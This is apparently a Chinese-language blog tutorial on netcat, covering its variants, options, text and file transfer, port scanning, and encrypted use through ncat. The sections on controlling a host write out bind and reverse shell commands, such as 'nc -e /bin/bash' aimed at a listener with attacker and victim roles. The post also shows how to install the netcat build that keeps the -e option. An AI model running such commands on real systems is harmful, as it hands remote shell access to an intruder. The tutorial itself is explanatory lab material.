NC
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiQnZlx2XjlGcjcmbw5iYidTNjFWY3QDM1UTM4UmYmJTNmJDM5QWOzYDZyUWNw8CX0JXZ252bj91Ztl2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
簡介
Netcat 簡稱為nc,中文名網貓,被譽為網絡工具中的瑞士軍刀。具備以下功能:
- 偵聽模式/傳輸模式
- telnet/擷取 banner資訊(當作telent工具使用,甚至更好用)
- 傳輸文本資訊(可以作為聊天工具)
- 傳輸檔案/目錄
- 加密傳輸檔案
- 遠端控制/木馬(一般來說,不會被清除)
- 加密所有流量
- 流媒體伺服器
- 遠端克隆硬碟(一般用作電子驗證)
nc 有很多變種。不同的變種,會在原有 nc 的基礎上增加一些新功能。比較流行的變種之一是OpenBSD 社群的變種(也叫“OpenBSD netcat”或“netcat-openbsd”),這是由 OpenBSD 社群重寫的 netcat,主要增加了對“IPv6、proxy、Unix sockets”等功能的支援。很多主流 Linux 發行版的官方軟體倉庫已包含這個變種(比如說:Debian 家族、Arch 家族、openSUSE 家族、Gentoo 家族……)。
在
nc - h
的輸出中,如果第一行包含 OpenBSD 這個單詞,就說明目前 nc 是 OpenBSD 變種。
netcat-traditional
這個是最早的版本,最新版本是2007年1月,版本是1.10,Kali Linux預設帶的就是這個版本:
這個版本的nc具有
-e
選項,十分友善反彈shell使用
[email protected]:~# nc -h
[v1.10-41.1]
netcat-openbsd
ubuntu裡預設的nc指令指向的是netcat-openbsd。這個版本因為考慮到安全性等原因沒有
-e
選項。是以我們得手動替換一下nc的版本:
# 安裝傳統的netcat
$ sudo apt-get install netcat
# 切換版本
$ sudo update-alternatives --config nc
[sudo] sqlsec 的密碼:
有 2 個候選項可用于替換 nc (提供 /bin/nc)。
選擇 路徑 優先級 狀态
------------------------------------------------------------
0 /bin/nc.openbsd 50 自動模式
1 /bin/nc.openbsd 50 手動模式
* 2 /bin/nc.traditional 10 手動模式
要維持目前值[*]請按<Enter鍵>,或者鍵入選擇的編号:2
選項
nc的指令是可以合寫的,指令行選項的【合寫】形式
nc -l -p 12345 -v
nc -l -p -v 12345
nc -lp 12345 -v
nc -lv -p 12345
nc -lvp 12345
所有上面這些指令都是【等價】的。隻要注意,-p參數是一個需要帶選項值的指令行選項,而-v、-l參數則不需要帶選項值。是以端口值一定要寫在-p後面
補充:
使用nc時一般會加上
-n
,因為nc自己去解析域名可能會比較慢,是以自己去通過
ping
或者别的方式獲得域名對應的ip之後,再用nc。windows的下載下傳位址http://nmap.org/dist/ncat-portable-5.59BETA1.zip
不同作業系統,或者說不同nc版本之間支援的功能不盡相同,但是總可以通過别的方式曲線救國。
案例
這裡介紹一些常用的
telnet/擷取 banner資訊
傳輸文本資訊
聊天
A:nc -l -p 4444
B:nc -nv 1.1.1.1 4444
解釋:A使用
-l
參數告訴nc在本地去打開一個端口,監聽它,使用
-p
告訴nc打開的端口号。于是,nc在本地打開了一個4444端口等着有人來連接配接自己,這裡A就是類似服務端了。
B去連接配接某ip的某端口,不做域名解析,顯示詳細連接配接過程。這裡B類似用戶端。
資訊傳遞
CentOS把自己的
ls
結果傳遞到kali上面。
這裡有了一個問題,假如CentOS使用了
ps aux
檢視程序,或者使用了nmap出現大量資訊,那kali的閱讀體驗會非常差勁,可以在kali上使用重定向來解決
再進一步優化,使用
-q
參數,讓上面的内容完成傳輸之後的1秒,大家就斷開連接配接。由于CentOS上的nc不支援
-q
參數,這裡讓kali作為服務端,Cent作為用戶端
傳輸檔案/目錄
下面的箭頭可能會讓人覺得非常混亂,尤其是兩種方式對比的時候。如何了解這些左右箭頭?我是這樣記憶的,作為發送端,是要把檔案通過本地監聽的端口發送出去,是以發送端的箭頭是
<
,那麼接收端就是
>
傳輸檔案
接收端 A:nc -lp 333 > 1.mp4
發送端 B:nc -nv 1.1.1.1 333 < 1.mp4 -q 1
或者
發送端 A:nc -q 1 -lp 333 < 1.mp4
接收端 B:nc -nv 1.1.1.1 333 > 1.mp4
傳輸目錄
發送端A:tar -cvf - 檔案夾/ | nc -lp 333 -q 1
接收端B:nc -nv 1.1.1.1 333 | tar -xvf -
端口掃描
很多掃描器都能做端口掃描,但是準确性就不一定了。一般來說,nmap的掃描結果較好,nc的僅供參考。
在kali上使用 nc -nvz 192.168.40.133 1-65535去探測Metasploitable的1-65535端口,
-z
參數就是端口探測,預設使用TCP連接配接,可以通過抓包看到細節。
可以看到,nc的端口掃描是從大到小,一旦能建立起三次握手,就發送FIN+ACK斷開連接配接,然後掃描下一個端口
那麼,nc也可以使用UDP的方式做端口掃描,就是加一個
u
,nc -nvzu 192.168.40.133 1-65535
控制對方
如果感覺下面的例子有些費神,你就看誰給了bash,誰把bash交出去,誰就是被控制的
(監聽端口等着别人連自己的交伺服器端,主動連接配接别人的是用戶端)
正向控制
用戶端A 【控制端】 :nc -nv ip 333
伺服器端B【被控制端】:nc -lp 333 -c bash
上面的指令挺類似于使用nc聊天的指令,所不同的是伺服器端加了一個
-c bash
,指令的意思是一旦有人來連接配接自己,就把自己的一個bash傳給對方,如果是windows的話,把bash換成cmd就行了
反向控制
用戶端A 【被控制端】:nc –nv 192.168.40.150 333 -c bash
伺服器端B【控制端】 :nc -lp 333
nc反彈shell
需要目标主機安裝了nc
攻擊者:nc -lvp 4566
受害者:nc -e /bin/bash 192.168.239.128 4566
攻擊者:nc -lvp 4444
受害者:nc -e /bin/sh 192.168.239.128 4444
原理
nc -e /bin/bash 192.168.239.128 4566
-e prog 程式重定向,一旦連接配接,就執行
這裡的-e後面跟的參數代表的是在建立連接配接後執行的程式,這裡代表在連接配接到遠端後可以在遠端執行一個本地shell(/bin/bash),也就是反彈一個shell給遠端,可以看到遠端已經成功反彈到了shell,并且可以執行指令。
其他:
注意之前使用nc監聽端口反彈shell時都會有一個警告:
192.168.239.130: inverse host lookup failed: Unknown host
根據nc幫助文檔的提示加上-n參數就可以不産生這個警告了,-n參數代表在建立連接配接之前不對主機進行dns解析。
安全性
nc缺乏加密和身份驗證的能力。
當我在實體機(類似中間人了)通過抓包可以看到,nc是明文傳輸的,再者,控制對方的時候沒有身份驗證,安全性存在隐患
解決辦法是可以使用Ncat,Ncat包含于nmap工具包中,實作資料加密傳輸。
kali和Cent沒有這個玩意,這裡我手動安裝一下
sudo apt-get install ncat #kali
yum install nmap-ncat -y #Cent
用戶端 【控制端】:ncat -nv 192.168.40.150 333 --ssl
伺服器端【被控制端】:ncat -c bash --allow 192.168.40.146 -vnl 333 --ssl
還是那一套,隻不過這裡使用了一個加密的管道ssl,然後使用了白名單機制,隻允許192.168.40.146來連接配接我
在實體機上(類似中間人)抓包,抓到的是密文
假設這個時候,win7想過來連接配接Cent,會發現他是連接配接不上的。
補充,windows是不需要額外下載下傳的,通過上面的提供的位址http://nmap.org/dist/ncat-portable-5.59BETA1.zip下載下傳nc之後,就能使用ncat,不需要額外下載下傳